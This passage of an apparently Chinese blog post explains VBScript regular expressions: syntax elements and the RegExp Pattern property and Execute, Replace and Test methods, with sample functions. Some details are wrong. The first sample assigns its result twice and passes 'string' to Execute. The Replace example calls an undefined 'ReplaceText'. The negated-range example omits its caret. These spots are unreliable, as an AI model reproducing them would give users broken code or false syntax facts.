匹配"plain"中的"a"。 <BR>[^xyz] 一个否定的字符集。匹配不在此括号中的任何字符。例如，"[^abc]" 可以匹配"plain"中的"p". <BR>[a-z] 表示某个范围内的字符。与指定区间内的任何字符匹配。例如，"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。 <BR>[^m-z] 否定的字符区间。与不在指定区间内的字符匹配。例如，"[m-z]"与不在"m"到"z"之间的任何字符匹配。 <BR>\b 与单词的边界匹配，即单词与空格之间的位置。例如，"er\b" 与"never"中的"er"匹配，但是不匹配"verb"中的"er"。 <BR>\B 与非单词边界匹配。"ea*r\B"与"never early"中的"ear"匹配。 <BR>\d 与一个数字字符匹配。等价于[0-9]。 <BR>\D 与非数字的字符匹配。等价于[^0-9]。 <BR>\f 与分页符匹配。 <BR>\n 与换行符字符匹配。 <BR>\r 与回车字符匹配。 <BR>\s 与任何白字符匹配，包括空格、制表符、分页符等。等价于"[ \f\n\r\t\v]"。 <BR>\S 与任何非空白的字符匹配。等价于"[^ \f\n\r\t\v]"。 <BR>\t 与制表符匹配。 <BR>\v 与垂直制表符匹配。 <BR>\w 与任何单词字符匹配，包括下划线。等价于"[A-Za-z0-9_]"。 <BR>\W 与任何非单词字符匹配。等价于"[^A-Za-z0-9_]"。 <BR>\num 匹配 num个，其中 num 为一个正整数。引用回到记住的匹配。例如，"(.)\1"匹配两个连续的相同的字符。 <BR>\n 匹配 n，其中n 是一个八进制换码值。八进制换码值必须是 1, 2 或&amp; nbsp3 个数字长。例如，"\11" 和 "\011" 都与一个制表符匹配。"\0011"等价于"\001" 与 "1"。八进制换码值不得超过&nbsp; 256。否则，只有前两个字符被视为表达式的一部分。允许在正则表达式中使用ASCII码。 <BR>\xn 匹配n，其中n是一个十六进制的换码值。十六进制换码值必须恰好为两个数字长。例如，"\x41"匹配"A"。"\x041"等价于"\x04" 和 "1"。允许在正则表达式中使用 ASCII 码。 </P>
<P><BR>说明<BR>下面的代码说明了 Pattern 属性的用法： </P>
<P>Function RegExpTest(patrn, strng)<BR>Dim regEx,Match,Matches '建立变量。<BR>Set regEx = New RegExp '建立一般表达式。<BR>regEx.Pattern= patrn '设置模式。<BR>regEx.IgnoreCase = True '设置是否区分大小写。<BR>regEx.Global=True '设置全局可用性。<BR>set Matches=regEx.Execute(string) '重复匹配集合<BR>RegExpTest = regEx.Execute(strng) '执行搜索。<BR>for each match in matches '重复匹配集合<BR>RetStr=RetStr &amp;"Match found at position "<BR>RetStr=RetStr&amp;Match.FirstIndex&amp;".Match Value is '"<BR>RetStr=RetStr&amp;Match.Value&amp;"'."&amp;vbCRLF Next<BR>RegExpTest=RetStr<BR>End Function<BR>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P><BR>=======================================================<BR>Execute 方法<BR>对指定的字符串执行正则表达式搜索。</P>
<P>object.Execute(string)</P>
<P>参数<BR>object</P>
<P>必选项。总是一个 RegExp 对象的名称。</P>
<P>string</P>
<P>必选项。要在其上执行正则表达式的文本字符串。</P>
<P>说明<BR>正则表达式搜索的设计模式是通过 RegExp 对象的 Pattern 来设置的。</P>
<P>Execute 方法返回一个 Matches 集合，其中包含了在 string 中找到的每一个匹配的 Match 对象。如果未找到匹配，Execute 将返回空的 Matches 集合。</P>
<P>下面的代码说明了 Execute 方法的用法。</P>
<P>Function RegExpTest(patrn, strng)<BR>Dim regEx, Match, Matches ' Create variable.<BR>Set regEx = New RegExp ' Create a regular expression.<BR>regEx.Pattern = patrn ' Set pattern.<BR>regEx.IgnoreCase = True ' Set case insensitivity.<BR>regEx.Global = True ' Set global applicability.<BR>Set Matches = regEx.Execute(strng) ' Execute search.<BR>For Each Match in Matches ' Iterate Matches collection.<BR>RetStr = RetStr &amp; "Match found at position "<BR>RetStr = RetStr &amp; Match.FirstIndex &amp; ". Match Value is '"<BR>RetStr = RetStr &amp; Match.Value &amp; "'." &amp; vbCRLF<BR>Next<BR>RegExpTest = RetStr<BR>End Function<BR>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P>================================================================</P>
<P>Replace 方法<BR>替换在正则表达式查找中找到的文本。</P>
<P>object.Replace(string1, string2)</P>
<P>参数<BR>object</P>
<P>必选项。总是一个 RegExp 对象的名称。</P>
<P>string1</P>
<P>必选项。string1 是将要进行文本替换的字符串。</P>
<P>string2</P>
<P>必选项。 string2 是替换文本字符串。</P>
<P>说明<BR>被替换的文本的实际模式是通过 RegExp 对象的 Pattern 属性设置的。</P>
<P>Replace 方法返回 string1 的副本，其中的 RegExp.Pattern 文本已经被替换为 string2。如果没有找到匹配的文本，将返回原来的 string1 的副本。</P>
<P>下面的例子说明了 Replace 方法的用法。</P>
<P>Function ReplaceTest(patrn, replStr)<BR>Dim regEx, str1 ' 建立变量。<BR>str1 = "The quick brown fox jumped over the lazy dog."<BR>Set regEx = New RegExp ' 建立正则表达式。<BR>regEx.Pattern = patrn ' 设置模式。<BR>regEx.IgnoreCase = True ' 设置是否区分大小写。<BR>ReplaceTest = regEx.Replace(str1, replStr) ' 作替换。<BR>End Function</P>
<P>MsgBox(ReplaceTest("fox", "cat")) ' 将 'fox' 替换为 'cat'。<BR>；另外，Replace 方法在模式中替换 subexpressions 。 下面对以前示例中函数的调用，替换了原字符串中的所有字对： </P>
<P>MsgBox(ReplaceText("(\S+)(\s+)(\S+)", "$3$2$1")) ' 交换词对.</P>
<P>======================================================</P>
<P>Test 方法<BR>对指定的字符串执行一个正则表达式搜索，并返回一个 Boolean 值指示是否找到匹配的模式。</P>
<P>object.Test(string)</P>
<P>参数<BR>object</P>
<P>必选项。总是一个 RegExp 对象的名称。</P>
<P>string</P>
<P>必选项。要执行正则表达式搜索的文本字符串。</P>
<P>说明<BR>正则表达式搜索的实际模式是通过RegExp对象的Pattern属性来设置的。RegExp.Global属性对Test方法没有影响。</P>
<P>如果找到了匹配的模式，Test方法返回True；否则返回False。</P>
<P>下面的代码说明了Test 方法的用法。</P>
<P>Function RegExpTest(patrn, strng)<BR>Dim regEx, retVal ' 建立变量。<BR>Set regEx = New RegExp ' 建立正则表达式。<BR>regEx.Pattern = patrn ' 设置模式。<BR>regEx.IgnoreCase = False ' 设置是否区分大小写。<BR>retVal = regEx.Test(strng) ' 执行搜索测试。<BR>If retVal Then<BR>RegExpTest = "找到一个或多个匹配。"<BR>Else<BR>RegExpTest = "未找到匹配。"<BR>End If<BR>End Function<BR>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>&nbsp;</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=152" width="1" height="1">]]></description></item></channel></rss>